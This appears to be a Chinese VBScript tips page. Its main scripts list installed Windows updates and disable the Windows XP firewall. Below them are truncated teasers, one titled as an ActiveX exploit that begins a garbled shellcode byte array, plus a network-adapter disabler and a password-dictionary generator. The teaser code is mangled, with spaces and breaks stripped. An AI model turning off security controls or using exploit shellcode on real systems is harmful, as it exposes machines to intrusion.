用vbs判断系统补丁的脚本

Set objSession = CreateObject("Microsoft.Update.Session")
Set objSearcher = objSession.CreateUpdateSearcher
Set objResults = objSearcher.Search("Type='Software'")
Set colUpdates = objResults.Updates

For i = 0 to colUpdates.Count - 1
' If colUpdates.Item(i).Title = _
' "Security Update for Windows XP (KB899587)" Then
'If colUpdates.Item(i).IsInstalled <> 0 Then
'Wscript.Echo "This update is installed."
' Wscript.Quit
'Else
'Wscript.Echo "This update is not installed."
' Wscript.Quit
'End If
' End If
wscript.echo colUpdates.Item(i).Title
Next

'Wscript.Echo "This update is not installed."


如何关闭 Windows XP Service Pack 2 防火墙？

Set objFirewall = CreateObject("HNetCfg.FwMgr")Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled = FALSESet objFirewall = CreateObject("HNetCfg.FwMgr")Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled = FALSE

ActiveX漏洞通用Exploit vbs修正版
C++代码#includestdio.h#includestring.hunsignedcharshellcode[]="xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03""xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74""x0

管理网卡vbs脚本
'dislan.vbs'usage:cscript/nologodislan.vbsConstssfCONTROLS=3sConnectionName="本地连接"sEnableVerb="启用(&A)"sDisableVerb="禁用(&B)"setshellApp=createobject("shell.application")setoControlPanel

用vbs写的短小精悍的字典生成器
使用方法'use:cscriptthis.vbsdic.txt把下面的代码保存为this.vbsa=Array(1,2,3,4,"a")Functionjs1(n)fori=1tonf=f&"f"&i&"&"s=s&"ForEachf"&i&"Ina:wscript.echo"&fs=Mid(S,1,Len(S)-1)&":"Nextjs1=sE